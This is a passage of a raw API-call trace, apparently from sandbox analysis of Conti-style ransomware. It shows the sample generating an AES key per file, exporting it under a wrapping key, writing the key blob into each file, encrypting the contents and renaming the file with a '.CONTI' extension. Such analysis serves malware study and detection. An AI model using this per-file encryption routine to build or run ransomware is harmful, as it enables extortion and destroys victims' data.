	[0108.513] CryptEncrypt (in: hKey=0x17c76f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2cc, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d0) returned 1
	[0108.513] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.513] WriteFile (in: hFile=0x2f4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2d0, lpOverlapped=0x0) returned 1
	[0108.513] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.513] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c4590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17c4590*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0108.513] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.513] CloseHandle (hObject=0x2f4) returned 1
	[0108.515] GetProcessHeap () returned 0x1720000
	[0108.515] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b54010
	[0108.515] lstrcpyW (in: lpString1=0x6b54010, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml"
	[0108.515] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.515] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.534] GetProcessHeap () returned 0x1720000
	[0108.534] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b54010 | out: hHeap=0x1720000) returned 1
	[0108.534] CryptDestroyKey (hKey=0x17c76f0) returned 1
	[0108.534] GetProcessHeap () returned 0x1720000
	[0108.534] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181df38 | out: hHeap=0x1720000) returned 1
	[0108.534] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0108.539] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17c5590 | out: phKey=0x17c5590*=0x17c7df0) returned 1
	[0108.545] CryptExportKey (in: hKey=0x17c7df0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5594, pdwDataLen=0x4d3fec4 | out: pbData=0x17c5594*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0108.551] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.551] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.552] GetLastError () returned 0x0
	[0108.552] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=477) returned 1
	[0108.552] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd
	[0108.552] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.552] SetEndOfFile (hFile=0x384) returned 1
	[0108.562] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.562] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.562] WriteFile (in: hFile=0x384, lpBuffer=0x17c5594*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17c5594*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.568] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.568] ReadFile (in: hFile=0x384, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x1dd, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x1dd, lpOverlapped=0x0) returned 1
	[0108.568] CryptEncrypt (in: hKey=0x17c7df0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1dd, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1e0) returned 1
	[0108.568] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.568] WriteFile (in: hFile=0x384, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x1e0, lpOverlapped=0x0) returned 1
	[0108.568] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.568] WriteFile (in: hFile=0x384, lpBuffer=0x17c5588*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17c5588*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0108.568] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.568] CloseHandle (hObject=0x384) returned 1
	[0108.568] GetProcessHeap () returned 0x1720000
	[0108.568] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.568] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml"
	[0108.568] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.568] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.569] GetProcessHeap () returned 0x1720000
	[0108.569] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.569] CryptDestroyKey (hKey=0x17c7df0) returned 1
	[0108.569] GetProcessHeap () returned 0x1720000
	[0108.569] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3688 | out: hHeap=0x1720000) returned 1
	[0108.569] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0108.972] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6514760 | out: phKey=0x6514760*=0x17c7c70) returned 1
	[0108.972] CryptExportKey (in: hKey=0x17c7c70, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6514764, pdwDataLen=0x4d3fec4 | out: pbData=0x6514764*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0108.972] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.171] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0110.172] GetLastError () returned 0x0
	[0110.172] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=763) returned 1
	[0110.172] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2fb
	[0110.172] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.172] SetEndOfFile (hFile=0x404) returned 1
	[0110.443] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.443] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.443] WriteFile (in: hFile=0x404, lpBuffer=0x6514764*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6514764*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.456] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.457] ReadFile (in: hFile=0x404, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2fb, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2fb, lpOverlapped=0x0) returned 1
	[0110.457] CryptEncrypt (in: hKey=0x17c7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2fb, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x300) returned 1
	[0110.457] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.457] WriteFile (in: hFile=0x404, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x300, lpOverlapped=0x0) returned 1
	[0110.457] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.457] WriteFile (in: hFile=0x404, lpBuffer=0x6514758*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6514758*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0110.457] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.457] CloseHandle (hObject=0x404) returned 1
	[0110.457] GetProcessHeap () returned 0x1720000
	[0110.457] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.955] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml"
	[0110.955] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.955] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.956] GetProcessHeap () returned 0x1720000
	[0110.956] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.956] CryptDestroyKey (hKey=0x17c7c70) returned 1
	[0110.956] GetProcessHeap () returned 0x1720000
	[0110.956] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588950 | out: hHeap=0x1720000) returned 1
	[0110.956] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0110.956] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x656ff28 | out: phKey=0x656ff28*=0x17c7c70) returned 1
	[0110.956] CryptExportKey (in: hKey=0x17c7c70, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x656ff2c, pdwDataLen=0x4d3fec4 | out: pbData=0x656ff2c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0110.957] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\378__connections_cellular_telenor (serbia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.957] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\378__connections_cellular_telenor (serbia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0110.958] GetLastError () returned 0x0
	[0110.958] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=902) returned 1
	[0110.958] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x386
	[0110.958] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.958] SetEndOfFile (hFile=0x3f8) returned 1
	[0110.958] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.958] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.958] WriteFile (in: hFile=0x3f8, lpBuffer=0x656ff2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x656ff2c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.280] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.280] ReadFile (in: hFile=0x3f8, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x386, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x386, lpOverlapped=0x0) returned 1
	[0111.280] CryptEncrypt (in: hKey=0x17c7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x386, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x390) returned 1
	[0111.280] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.280] WriteFile (in: hFile=0x3f8, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x390, lpOverlapped=0x0) returned 1
	[0111.280] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.280] WriteFile (in: hFile=0x3f8, lpBuffer=0x656ff20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x656ff20*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0111.280] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.280] CloseHandle (hObject=0x3f8) returned 1
	[0111.360] GetProcessHeap () returned 0x1720000
	[0111.360] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.501] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml"
	[0112.501] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.501] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\378__connections_cellular_telenor (serbia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\378__connections_cellular_telenor (serbia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.502] GetProcessHeap () returned 0x1720000
	[0112.502] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.502] CryptDestroyKey (hKey=0x17c7c70) returned 1
	[0112.502] GetProcessHeap () returned 0x1720000
	[0112.502] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588a98 | out: hHeap=0x1720000) returned 1
	[0112.502] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0112.502] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65b1510 | out: phKey=0x65b1510*=0x17c7770) returned 1
